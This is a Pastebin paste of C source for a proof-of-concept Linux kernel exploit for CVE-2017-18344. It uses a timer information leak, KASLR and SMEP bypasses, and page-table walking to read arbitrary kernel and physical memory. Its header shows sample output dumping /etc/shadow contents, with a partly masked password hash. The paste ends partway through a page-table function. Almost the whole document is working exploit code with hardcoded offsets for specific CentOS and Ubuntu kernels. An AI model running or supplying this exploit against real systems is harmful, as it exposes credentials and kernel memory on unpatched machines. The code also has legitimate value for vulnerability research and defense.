Advertisement
Guest User

Untitled

a guest
Apr 24th, 2019
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 41.55 KB | None | 0 0
  1. // A proof-of-concept exploit for CVE-2017-18344.
  2. // Includes KASLR and SMEP bypasses. No SMAP bypass.
  3. // No support for 1 GB pages or 5 level page tables.
  4. // Tested on Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic
  5. // and on CentOS 7 3.10.0-862.9.1.el7.x86_64.
  6. //
  7. // gcc pwn.c -o pwn
  8. //
  9. // $ ./pwn search 'root:!:'
  10. // [.] setting up proc reader
  11. // [~] done
  12. // [.] checking /proc/cpuinfo
  13. // [~] looks good
  14. // [.] setting up timer
  15. // [~] done
  16. // [.] finding leak pointer address
  17. // [+] done: 000000022ca45b60
  18. // [.] mapping leak pointer page
  19. // [~] done
  20. // [.] divide_error: ffffffffad6017b0
  21. // [.] kernel text: ffffffffacc00000
  22. // [.] page_offset_base: ffffffffade48a90
  23. // [.] physmap: ffff8d40c0000000
  24. // [.] task->mm->pgd: ffffffffade0a000
  25. // [.] searching [0000000000000000, 00000000f524d000) for 'root:!:':
  26. // [.] now at 0000000000000000
  27. // [.] now at 0000000002000000
  28. // [.] now at 0000000004000000
  29. // ...
  30. // [.] now at 000000008c000000
  31. // [.] now at 000000008e000000
  32. // [.] now at 0000000090000000
  33. // [+] found at 0000000090ff3000
  34. // [+] done
  35. //
  36. // $ ./pwn phys 0000000090ff3000 1000 shadow
  37. // [.] setting up proc reader
  38. // [~] done
  39. // [.] checking /proc/cpuinfo
  40. // [~] looks good
  41. // [.] setting up timer
  42. // [~] done
  43. // [.] finding leak pointer address
  44. // [+] done: 000000022ca45b60
  45. // [.] mapping leak pointer page
  46. // [~] done
  47. // [.] divide_error: ffffffffad6017b0
  48. // [.] kernel text: ffffffffacc00000
  49. // [.] page_offset_base: ffffffffade48a90
  50. // [.] physmap: ffff8d40c0000000
  51. // [.] task->mm->pgd: ffffffffade0a000
  52. // [.] dumping physical memory [0000000090ff3000, 0000000090ff4000):
  53. // [+] done
  54. //
  55. // $ cat shadow
  56. // root:!:17612:0:99999:7:::
  57. // daemon:*:17590:0:99999:7:::
  58. // bin:*:17590:0:99999:7:::
  59. // ...
  60. // saned:*:17590:0:99999:7:::
  61. // usbmux:*:17590:0:99999:7:::
  62. // user:$1$7lXXXXSv$rvXXXXXXXXXXXXXXXXXhr/:17612:0:99999:7:::
  63. //
  64. // Andrey Konovalov
  65.  
  66. #define _GNU_SOURCE
  67.  
  68. #include
  69. #include
  70. #include
  71. #include
  72. #include
  73. #include
  74. #include
  75. #include
  76. #include
  77. #include
  78. #include
  79. #include
  80.  
  81. #include
  82. #include
  83. #include
  84. #include
  85. #include
  86. #include
  87.  
  88. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  89.  
  90. #define DEBUG 0
  91.  
  92. // CentOS 7 3.10.0-862.9.1.el7.x86_64
  93. #define KERNEL_START 0xffffffff81000000ul
  94. #define O_DIVIDE_ERROR (0xffffffff81723a40ul - KERNEL_START)
  95. #define O_INIT_TASK (0xffffffff81c16480ul - KERNEL_START)
  96. #define O_INIT_MM (0xffffffff81c914a0ul - KERNEL_START)
  97. #define O_PAGE_OFFSET_BASE (0xffffffff81c41440ul - KERNEL_START)
  98. #define O_TASK_STRUCT_TASKS 1072
  99. #define O_TASK_STRUCT_MM 1128
  100. #define O_TASK_STRUCT_PID 1188
  101. #define O_MM_STRUCT_MMAP 0
  102. #define O_MM_STRUCT_PGD 88
  103. #define O_VM_AREA_STRUCT_VM_START 0
  104. #define O_VM_AREA_STRUCT_VM_END 8
  105. #define O_VM_AREA_STRUCT_VM_NEXT 16
  106. #define O_VM_AREA_STRUCT_VM_FLAGS 80
  107.  
  108. #if 0
  109. // Ubuntu xenial 4.4.0-116-generic
  110. #define KERNEL_START 0xffffffff81000000ul
  111. #define O_DIVIDE_ERROR (0xffffffff81851240ul - KERNEL_START)
  112. #define O_INIT_TASK (0xffffffff81e13500ul - KERNEL_START)
  113. #define O_INIT_MM (0xffffffff81e73c80ul - KERNEL_START)
  114. #define O_PAGE_OFFSET_BASE 0
  115. #define O_TASK_STRUCT_TASKS 848
  116. #define O_TASK_STRUCT_MM 928
  117. #define O_TASK_STRUCT_PID 1096
  118. #define O_MM_STRUCT_MMAP 0
  119. #define O_MM_STRUCT_PGD 64
  120. #define O_VM_AREA_STRUCT_VM_START 0
  121. #define O_VM_AREA_STRUCT_VM_END 8
  122. #define O_VM_AREA_STRUCT_VM_NEXT 16
  123. #define O_VM_AREA_STRUCT_VM_FLAGS 80
  124. #endif
  125.  
  126. #if 0
  127. // Ubuntu xenial 4.13.0-38-generic
  128. #define KERNEL_START 0xffffffff81000000ul
  129. #define O_DIVIDE_ERROR (0xffffffff81a017b0ul - KERNEL_START)
  130. #define O_INIT_TASK (0xffffffff82212480ul - KERNEL_START)
  131. #define O_INIT_MM (0xffffffff82302760ul - KERNEL_START)
  132. #define O_PAGE_OFFSET_BASE (0xffffffff82248a90ul - KERNEL_START)
  133. #define O_TASK_STRUCT_TASKS 2048
  134. #define O_TASK_STRUCT_MM 2128
  135. #define O_TASK_STRUCT_PID 2304
  136. #define O_MM_STRUCT_MMAP 0
  137. #define O_MM_STRUCT_PGD 80
  138. #define O_VM_AREA_STRUCT_VM_START 0
  139. #define O_VM_AREA_STRUCT_VM_END 8
  140. #define O_VM_AREA_STRUCT_VM_NEXT 16
  141. #define O_VM_AREA_STRUCT_VM_FLAGS 80
  142. #endif
  143.  
  144. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  145. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  146. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  147.  
  148. #ifndef SYS_memfd_create
  149. #define SYS_memfd_create 319
  150. #endif
  151.  
  152. #ifndef O_PATH
  153. #define O_PATH 010000000
  154. #endif
  155.  
  156. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  157.  
  158. #define PAGE_SHIFT 12
  159. #define PAGE_SIZE (1ul << PAGE_SHIFT)
  160. #define PAGE_MASK (~(PAGE_SIZE - 1))
  161.  
  162. #define HUGE_PAGE_SHIFT 21
  163. #define HUGE_PAGE_SIZE (1ul << HUGE_PAGE_SHIFT)
  164. #define HUGE_PAGE_MASK (~(HUGE_PAGE_SIZE - 1))
  165.  
  166. #define TASK_SIZE (1ul << 47)
  167. #define PAGE_OFFSET_BASE 0xffff880000000000ul
  168.  
  169. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  170. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  171. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  172.  
  173. #define LOG_INFO 1
  174. #define LOG_DEBUG 2
  175.  
  176. #define log(level, format, args...) \
  177. do { \
  178. if (level == LOG_INFO) \
  179. printf(format, ## args); \
  180. else \
  181. fprintf(stderr, format, ## args); \
  182. } while(0)
  183.  
  184. #define info(format, args...) log(LOG_INFO, format, ## args)
  185.  
  186. #if (DEBUG >= 1)
  187. #define debug1(format, args...) log(LOG_DEBUG, format, ## args)
  188. #else
  189. #define debug1(format, args...)
  190. #endif
  191.  
  192. #if (DEBUG >= 2)
  193. #define debug2(format, args...) log(LOG_DEBUG, format, ## args)
  194. #else
  195. #define debug2(format, args...)
  196. #endif
  197.  
  198. #define min(x, y) ((x) < (y) ? (x) : (y))
  199.  
  200. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  201.  
  202. static void print_chunk(int level, unsigned long src_addr, char *buffer,
  203. int len, int chunk_size) {
  204. int i;
  205.  
  206. assert(len <= chunk_size);
  207.  
  208. log(level, "%016lx: ", src_addr);
  209. for (i = 0; i < len; i++)
  210. log(level, "%02hx ", (unsigned char)buffer[i]);
  211. for (i = len; i < chunk_size; i++)
  212. log(level, " ");
  213.  
  214. log(level, " ");
  215.  
  216. for (i = 0; i < len; i++) {
  217. if (isalnum(buffer[i]))
  218. log(level, "%c", buffer[i]);
  219. else
  220. log(level, ".");
  221. }
  222.  
  223. log(level, "\n");
  224. }
  225.  
  226. static void print_bytes(int level, unsigned long src_addr, char *buffer,
  227. int len) {
  228. int chunk_size = 16;
  229. assert(chunk_size % 2 == 0);
  230.  
  231. int chunk;
  232. for (chunk = 0; chunk < len / chunk_size; chunk++)
  233. print_chunk(level, src_addr + chunk * chunk_size,
  234. &buffer[chunk * chunk_size], chunk_size, chunk_size);
  235.  
  236. int rem = len % chunk_size;
  237. if (rem != 0)
  238. print_chunk(level, src_addr + len - rem,
  239. &buffer[len - rem], rem, chunk_size);
  240. }
  241.  
  242.  
  243. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  244. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  245. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  246.  
  247. #define MIN_KERNEL_BASE 0xffffffff81000000ul
  248. #define MAX_KERNEL_BASE 0xffffffffff000000ul
  249. #define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB
  250.  
  251. #define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE)
  252. #define MMAP_ADDR_START 0x200000000ul
  253. #define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN)
  254.  
  255. #define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8)
  256. // == 0x4fe00000
  257.  
  258. #define MAX_MAPPINGS 1024
  259. #define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS)
  260.  
  261. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  262.  
  263. static struct proc_reader g_proc_reader;
  264. static unsigned long g_leak_ptr_addr = 0;
  265.  
  266. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  267.  
  268. #define PROC_INITIAL_SIZE 1024
  269. #define PROC_CHUNK_SIZE 1024
  270.  
  271. struct proc_reader {
  272. char *buffer;
  273. int buffer_size;
  274. int read_size;
  275. };
  276.  
  277. static void proc_init(struct proc_reader* pr) {
  278. debug2("proc_init: %016lx\n", pr);
  279.  
  280. pr->buffer = malloc(PROC_INITIAL_SIZE);
  281. if (pr->buffer == NULL) {
  282. perror("[-] proc_init: malloc()");
  283. exit(EXIT_FAILURE);
  284. }
  285. pr->buffer_size = PROC_INITIAL_SIZE;
  286. pr->read_size = 0;
  287.  
  288. debug2("proc_init = void\n");
  289. }
  290.  
  291. static void proc_ensure_size(struct proc_reader* pr, int size) {
  292. if (pr->buffer_size >= size)
  293. return;
  294. while (pr->buffer_size < size)
  295. pr->buffer_size <<= 1;
  296. pr->buffer = realloc(pr->buffer, pr->buffer_size);
  297. if (pr->buffer == NULL) {
  298. perror("[-] proc_ensure_size: realloc()");
  299. exit(EXIT_FAILURE);
  300. }
  301. }
  302.  
  303. static int proc_read(struct proc_reader* pr, const char *file) {
  304. debug2("proc_read: file: %s, pr->buffer_size: %d\n",
  305. file, pr->buffer_size);
  306.  
  307. int fd = open(file, O_RDONLY);
  308. if (fd == -1) {
  309. perror("[-] proc_read: open()");
  310. exit(EXIT_FAILURE);
  311. }
  312.  
  313. pr->read_size = 0;
  314. while (true) {
  315. proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE);
  316. int bytes_read = read(fd, &pr->buffer[pr->read_size],
  317. PROC_CHUNK_SIZE);
  318. if (bytes_read == -1) {
  319. perror("[-] read(proc)");
  320. exit(EXIT_FAILURE);
  321. }
  322. pr->read_size += bytes_read;
  323. if (bytes_read < PROC_CHUNK_SIZE)
  324. break;
  325. }
  326.  
  327. close(fd);
  328.  
  329. debug2("proc_read = %d\n", pr->read_size);
  330. return pr->read_size;
  331. }
  332.  
  333. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  334.  
  335. typedef union k_sigval {
  336. int sival_int;
  337. void *sival_ptr;
  338. } k_sigval_t;
  339.  
  340. #define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(k_sigval_t))
  341. #define SIGEV_MAX_SIZE 64
  342. #define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \
  343. / sizeof(int))
  344.  
  345. typedef struct k_sigevent {
  346. k_sigval_t sigev_value;
  347. int sigev_signo;
  348. int sigev_notify;
  349. union {
  350. int _pad[SIGEV_PAD_SIZE];
  351. int _tid;
  352.  
  353. struct {
  354. void (*_function)(sigval_t);
  355. void *_attribute;
  356. } _sigev_thread;
  357. } _sigev_un;
  358. } k_sigevent_t;
  359.  
  360. static void leak_setup() {
  361. k_sigevent_t se;
  362. memset(&se, 0, sizeof(se));
  363. se.sigev_signo = SIGRTMIN;
  364. se.sigev_notify = OPTIMAL_PTR_OFFSET;
  365. timer_t timerid = 0;
  366.  
  367. int rv = syscall(SYS_timer_create, CLOCK_REALTIME,
  368. (void *)&se, &timerid);
  369. if (rv != 0) {
  370. perror("[-] timer_create()");
  371. exit(EXIT_FAILURE);
  372. }
  373. }
  374.  
  375. static void leak_parse(char *in, int in_len, char **start, char **end) {
  376. const char *needle = "notify: ";
  377. *start = memmem(in, in_len, needle, strlen(needle));
  378. assert(*start != NULL);
  379. *start += strlen(needle);
  380.  
  381. assert(in_len > 0);
  382. assert(in[in_len - 1] == '\n');
  383. *end = &in[in_len - 2];
  384. while (*end > in && **end != '\n')
  385. (*end)--;
  386. assert(*end > in);
  387. while (*end > in && **end != '/')
  388. (*end)--;
  389. assert(*end > in);
  390. assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd');
  391.  
  392. assert(*end >= *start);
  393. }
  394.  
  395. static void leak_once(char **start, char **end) {
  396. int read_size = proc_read(&g_proc_reader, "/proc/self/timers");
  397. leak_parse(g_proc_reader.buffer, read_size, start, end);
  398. }
  399.  
  400. static int leak_once_and_copy(char *out, int out_len) {
  401. assert(out_len > 0);
  402.  
  403. char *start, *end;
  404. leak_once(&start, &end);
  405.  
  406. int size = min(end - start, out_len);
  407. memcpy(out, start, size);
  408.  
  409. if (size == out_len)
  410. return size;
  411.  
  412. out[size] = 0;
  413. return size + 1;
  414. }
  415.  
  416. static void leak_range(unsigned long addr, size_t length, char *out) {
  417. size_t total_leaked = 0;
  418. while (total_leaked < length) {
  419. unsigned long addr_to_leak = addr + total_leaked;
  420. *(unsigned long *)g_leak_ptr_addr = addr_to_leak;
  421. debug2("leak_range: offset %ld, addr: %lx\n",
  422. total_leaked, addr_to_leak);
  423. int leaked = leak_once_and_copy(out + total_leaked,
  424. length - total_leaked);
  425. total_leaked += leaked;
  426. }
  427. }
  428.  
  429. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  430.  
  431. static void mmap_fixed(unsigned long addr, size_t size) {
  432. void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE,
  433. MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  434. if (rv != (void *)addr) {
  435. perror("[-] mmap()");
  436. exit(EXIT_FAILURE);
  437. }
  438. }
  439.  
  440. static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start,
  441. unsigned long end) {
  442. int page_size = PAGE_SIZE;
  443. assert(fd_size % page_size == 0);
  444. assert(start % page_size == 0);
  445. assert(end % page_size == 0);
  446. assert((end - start) % fd_size == 0);
  447.  
  448. debug1("mmap_fd_over: [%lx, %lx)\n", start, end);
  449.  
  450. unsigned long addr;
  451. for (addr = start; addr < end; addr += fd_size) {
  452. void *rv = mmap((void *)addr, fd_size, PROT_READ,
  453. MAP_FIXED | MAP_PRIVATE, fd, 0);
  454. if (rv != (void *)addr) {
  455. perror("[-] mmap()");
  456. exit(EXIT_FAILURE);
  457. }
  458. }
  459.  
  460. debug1("mmap_fd_over = void\n");
  461. }
  462.  
  463. static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start,
  464. unsigned long end) {
  465. int rv = munmap((void *)start, end - start);
  466. if (rv != 0) {
  467. perror("[-] munmap()");
  468. exit(EXIT_FAILURE);
  469. }
  470. mmap_fd_over(fd, fd_size, start, end);
  471. }
  472.  
  473. #define MEMFD_CHUNK_SIZE 0x1000
  474.  
  475. static int create_filled_memfd(const char *name, unsigned long size,
  476. unsigned long value) {
  477. int i;
  478. char buffer[MEMFD_CHUNK_SIZE];
  479.  
  480. assert(size % MEMFD_CHUNK_SIZE == 0);
  481.  
  482. int fd = syscall(SYS_memfd_create, name, 0);
  483. if (fd < 0) {
  484. perror("[-] memfd_create()");
  485. exit(EXIT_FAILURE);
  486. }
  487.  
  488. for (i = 0; i < sizeof(buffer) / sizeof(value); i++)
  489. *(unsigned long *)&buffer[i * sizeof(value)] = value;
  490.  
  491. for (i = 0; i < size / sizeof(buffer); i++) {
  492. int bytes_written = write(fd, &buffer[0], sizeof(buffer));
  493. if (bytes_written != sizeof(buffer)) {
  494. perror("[-] write(memfd)");
  495. exit(EXIT_FAILURE);
  496. }
  497. }
  498.  
  499. return fd;
  500. }
  501.  
  502. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  503.  
  504. static const char *evil = "evil";
  505. static const char *good = "good";
  506.  
  507. static bool bisect_probe() {
  508. char *start, *end;
  509. leak_once(&start, &end);
  510. return *start == 'g';
  511. }
  512.  
  513. static unsigned long bisect_via_memfd(unsigned long fd_size,
  514. unsigned long start, unsigned long end) {
  515. assert((end - start) % fd_size == 0);
  516.  
  517. int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil);
  518. int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good);
  519.  
  520. unsigned long left = 0;
  521. unsigned long right = (end - start) / fd_size;
  522.  
  523. while (right - left > 1) {
  524. unsigned long middle = left + (right - left) / 2;
  525. remap_fd_over(fd_evil, fd_size, start + left * fd_size,
  526. start + middle * fd_size);
  527. remap_fd_over(fd_good, fd_size, start + middle * fd_size,
  528. start + right * fd_size);
  529. bool probe = bisect_probe();
  530. if (probe)
  531. left = middle;
  532. else
  533. right = middle;
  534. }
  535.  
  536. int rv = munmap((void *)start, end - start);
  537. if (rv != 0) {
  538. perror("[-] munmap()");
  539. exit(EXIT_FAILURE);
  540. }
  541.  
  542. close(fd_evil);
  543. close(fd_good);
  544.  
  545. return start + left * fd_size;
  546. }
  547.  
  548. static unsigned long bisect_via_assign(unsigned long start, unsigned long end) {
  549. int word_size = sizeof(unsigned long);
  550.  
  551. assert((end - start) % word_size == 0);
  552. assert((end - start) % PAGE_SIZE == 0);
  553.  
  554. mmap_fixed(start, end - start);
  555.  
  556. unsigned long left = 0;
  557. unsigned long right = (end - start) / word_size;
  558.  
  559. while (right - left > 1) {
  560. unsigned long middle = left + (right - left) / 2;
  561. unsigned long a;
  562. for (a = left; a < middle; a++)
  563. *(unsigned long *)(start + a * word_size) =
  564. (unsigned long)evil;
  565. for (a = middle; a < right; a++)
  566. *(unsigned long *)(start + a * word_size) =
  567. (unsigned long)good;
  568. bool probe = bisect_probe();
  569. if (probe)
  570. left = middle;
  571. else
  572. right = middle;
  573. }
  574.  
  575. int rv = munmap((void *)start, end - start);
  576. if (rv != 0) {
  577. perror("[-] munmap()");
  578. exit(EXIT_FAILURE);
  579. }
  580.  
  581. return start + left * word_size;
  582. }
  583.  
  584. static unsigned long bisect_leak_ptr_addr() {
  585. unsigned long addr = bisect_via_memfd(
  586. MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END);
  587. debug1("%lx %lx\n", addr, addr + MEMFD_SIZE);
  588. addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE);
  589. debug1("%lx %lx\n", addr, addr + PAGE_SIZE);
  590. addr = bisect_via_assign(addr, addr + PAGE_SIZE);
  591. debug1("%lx\n", addr);
  592. return addr;
  593. }
  594.  
  595. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  596.  
  597. #define CPUINFO_SMEP 1
  598. #define CPUINFO_SMAP 2
  599. #define CPUINFO_KAISER 4
  600. #define CPUINFO_PTI 8
  601.  
  602. static int cpuinfo_scan() {
  603. int length = proc_read(&g_proc_reader, "/proc/cpuinfo");
  604. char *buffer = &g_proc_reader.buffer[0];
  605. int rv = 0;
  606. char* found = memmem(buffer, length, "smep", 4);
  607. if (found != NULL)
  608. rv |= CPUINFO_SMEP;
  609. found = memmem(buffer, length, "smap", 4);
  610. if (found != NULL)
  611. rv |= CPUINFO_SMAP;
  612. found = memmem(buffer, length, "kaiser", 4);
  613. if (found != NULL)
  614. rv |= CPUINFO_KAISER;
  615. found = memmem(buffer, length, " pti", 4);
  616. if (found != NULL)
  617. rv |= CPUINFO_PTI;
  618. return rv;
  619. }
  620.  
  621. static void cpuinfo_check() {
  622. int rv = cpuinfo_scan();
  623. if (rv & CPUINFO_SMAP) {
  624. info("[-] SMAP detected, no bypass available, aborting\n");
  625. exit(EXIT_FAILURE);
  626. }
  627. }
  628.  
  629. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  630.  
  631. static void arbitrary_read_init() {
  632. info("[.] setting up proc reader\n");
  633. proc_init(&g_proc_reader);
  634. info("[~] done\n");
  635.  
  636. info("[.] checking /proc/cpuinfo\n");
  637. cpuinfo_check();
  638. info("[~] looks good\n");
  639.  
  640. info("[.] setting up timer\n");
  641. leak_setup();
  642. info("[~] done\n");
  643.  
  644. info("[.] finding leak pointer address\n");
  645. g_leak_ptr_addr = bisect_leak_ptr_addr();
  646. info("[+] done: %016lx\n", g_leak_ptr_addr);
  647.  
  648. info("[.] mapping leak pointer page\n");
  649. mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE);
  650. info("[~] done\n");
  651. }
  652.  
  653. static void read_range(unsigned long addr, size_t length, char *buffer) {
  654. leak_range(addr, length, buffer);
  655. }
  656.  
  657. static uint64_t read_8(unsigned long addr) {
  658. uint64_t result;
  659. read_range(addr, sizeof(result), (char *)&result);
  660. return result;
  661. }
  662.  
  663. static uint32_t read_4(unsigned long addr) {
  664. uint32_t result;
  665. read_range(addr, sizeof(result), (char *)&result);
  666. return result;
  667. }
  668.  
  669. static uint64_t read_field_8(unsigned long addr, int offset) {
  670. return read_8(addr + offset);
  671. }
  672.  
  673. static uint64_t read_field_4(unsigned long addr, int offset) {
  674. return read_4(addr + offset);
  675. }
  676.  
  677. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  678. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  679. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  680.  
  681. struct idt_register {
  682. uint16_t length;
  683. uint64_t base;
  684. } __attribute__((packed));
  685.  
  686. struct idt_gate {
  687. uint16_t offset_1; // bits 0..15
  688. uint32_t shit_1;
  689. uint16_t offset_2; // bits 16..31
  690. uint32_t offset_3; // bits 32..63
  691. uint32_t shit_2;
  692. } __attribute__((packed));
  693.  
  694. static uint64_t idt_gate_addr(struct idt_gate *gate) {
  695. uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) +
  696. ((uint64_t)gate->offset_3 << 32);
  697. return addr;
  698. }
  699.  
  700. static void get_idt(struct idt_register *idtr) {
  701. asm ( "sidt %0" : : "m"(*idtr) );
  702. debug1("get_idt_base: base: %016lx, length: %d\n",
  703. idtr->base, idtr->length);
  704. }
  705.  
  706. static void print_idt(int entries) {
  707. char buffer[4096];
  708. struct idt_register idtr;
  709. int i;
  710.  
  711. get_idt(&idtr);
  712. assert(idtr.length <= sizeof(buffer));
  713. read_range(idtr.base, idtr.length, &buffer[0]);
  714.  
  715. info("base: %016lx, length: %d\n", idtr.base,
  716. (int)idtr.length);
  717.  
  718. entries = min(entries, idtr.length / sizeof(struct idt_gate));
  719. for (i = 0; i < entries; i++) {
  720. struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
  721. uint64_t addr = idt_gate_addr(gate);
  722. info("gate #%03d: %016lx\n", i, addr);
  723. }
  724. }
  725.  
  726. static uint64_t read_idt_gate(int i) {
  727. char buffer[4096];
  728. struct idt_register idtr;
  729.  
  730. get_idt(&idtr);
  731. assert(idtr.length <= sizeof(buffer));
  732. assert(i <= idtr.length / sizeof(struct idt_gate));
  733. read_range(idtr.base, idtr.length, &buffer[0]);
  734.  
  735. struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
  736. uint64_t addr = idt_gate_addr(gate);
  737. return addr;
  738. }
  739.  
  740. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  741. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  742. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  743.  
  744. #define PTRS_PER_PGD 512
  745. #define PTRS_PER_PUD 512
  746. #define PTRS_PER_PMD 512
  747. #define PTRS_PER_PTE 512
  748.  
  749. #define PGD_SHIFT 39
  750. #define PUD_SHIFT 30
  751. #define PMD_SHIFT 21
  752.  
  753. #define pgd_index(addr) (((addr) >> PGD_SHIFT) & (PTRS_PER_PGD - 1))
  754. #define pud_index(addr) (((addr) >> PUD_SHIFT) & (PTRS_PER_PUD - 1))
  755. #define pmd_index(addr) (((addr) >> PMD_SHIFT) & (PTRS_PER_PMD - 1))
  756. #define pte_index(addr) (((addr) >> PAGE_SHIFT) & (PTRS_PER_PTE - 1))
  757.  
  758. #define _PAGE_BIT_PRESENT 0
  759. #define _PAGE_BIT_ACCESSED 5
  760. #define _PAGE_BIT_DIRTY 6
  761. #define _PAGE_BIT_PSE 7
  762. #define _PAGE_BIT_GLOBAL 8
  763. #define _PAGE_BIT_PROTNONE _PAGE_BIT_GLOBAL
  764.  
  765. #define _PAGE_PRESENT (1ul << _PAGE_BIT_PRESENT)
  766. #define _PAGE_ACCESSED (1ul << _PAGE_BIT_ACCESSED)
  767. #define _PAGE_DIRTY (1ul << _PAGE_BIT_DIRTY)
  768. #define _PAGE_PSE (1ul << _PAGE_BIT_PSE)
  769. #define _PAGE_PROTNONE (1ul << _PAGE_BIT_PROTNONE)
  770. #define _PAGE_KNL_ERRATUM_MASK (_PAGE_DIRTY | _PAGE_ACCESSED)
  771.  
  772. #define pgd_none(value) ((value) == 0)
  773. #define pud_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
  774. #define pmd_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
  775. #define pte_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
  776.  
  777. #define __PHYSICAL_MASK_SHIFT 52
  778. #define __PHYSICAL_MASK ((1ul << __PHYSICAL_MASK_SHIFT) - 1)
  779. #define PHYSICAL_PAGE_MASK (PAGE_MASK & __PHYSICAL_MASK)
  780. #define PTE_PFN_MASK (PHYSICAL_PAGE_MASK)
  781. #define PTE_FLAGS_MASK (~PTE_PFN_MASK)
  782.  
  783. #define pgd_flags(value) (value & PTE_FLAGS_MASK)
  784. #define pud_flags(value) (value & PTE_FLAGS_MASK)
  785. #define pmd_flags(value) (value & PTE_FLAGS_MASK)
  786. #define pte_flags(value) (value & PTE_FLAGS_MASK)
  787.  
  788. #define pgd_present(value) (pgd_flags(value) & _PAGE_PRESENT)
  789. #define pud_present(value) (pud_flags(value) & _PAGE_PRESENT)
  790. #define pmd_present(value) (pmd_flags(value) & (_PAGE_PRESENT | \
  791. _PAGE_PROTNONE | _PAGE_PSE))
  792. #define pte_present(value) (pte_flags(value) & (_PAGE_PRESENT | \
  793. _PAGE_PROTNONE))
  794.  
  795. struct pte_entry {
  796. unsigned long addr;
  797. unsigned long entries[PTRS_PER_PTE];
  798. };
  799.  
  800. struct pmd_entry {
  801. unsigned long addr;
  802. struct {
  803. bool huge;
  804. union {
  805. struct pte_entry *pte;
  806. unsigned long phys;
  807. };
  808. } entries[PTRS_PER_PMD];
  809. };
  810.  
  811. struct pud_entry {
  812. unsigned long addr;
  813. struct pmd_entry *entries[PTRS_PER_PUD];
  814. };
  815.  
  816. struct pgd_entry {
  817. unsigned long addr;
  818. struct pud_entry *entries[PTRS_PER_PGD];
  819. };
  820.  
  821. struct ptsc {
  822. unsigned long physmap;
  823. struct pgd_entry entry;
  824. };
  825.  
  826. static struct pte_entry *ptsc_alloc_pte_entry(unsigned long addr) {
  827. struct pte_entry *entry = malloc(sizeof(*entry));
  828. if (!entry) {
  829. perror("[-] malloc()");
  830. exit(EXIT_FAILURE);
  831. }
  832. entry->addr = addr;
  833. memset(&entry->entries[0], 0, sizeof(entry->entries));
  834. return entry;
  835. }
  836.  
  837. static struct pmd_entry *ptsc_alloc_pmd_entry(unsigned long addr) {
  838. struct pmd_entry *entry = malloc(sizeof(*entry));
  839. if (!entry) {
  840. perror("[-] malloc()");
  841. exit(EXIT_FAILURE);
  842. }
  843. entry->addr = addr;
  844. memset(&entry->entries[0], 0, sizeof(entry->entries));
  845. return entry;
  846. }
  847.  
  848. static struct pud_entry *ptsc_alloc_pud_entry(unsigned long addr) {
  849. struct pud_entry *entry = malloc(sizeof(*entry));
  850. if (!entry) {
  851. perror("[-] malloc()");
  852. exit(EXIT_FAILURE);
  853. }
  854. entry->addr = addr;
  855. memset(&entry->entries[0], 0, sizeof(entry->entries));
  856. return entry;
  857. }
  858.  
  859. static void ptsc_init(struct ptsc* ptsc, unsigned long physmap,
  860. unsigned long pgd) {
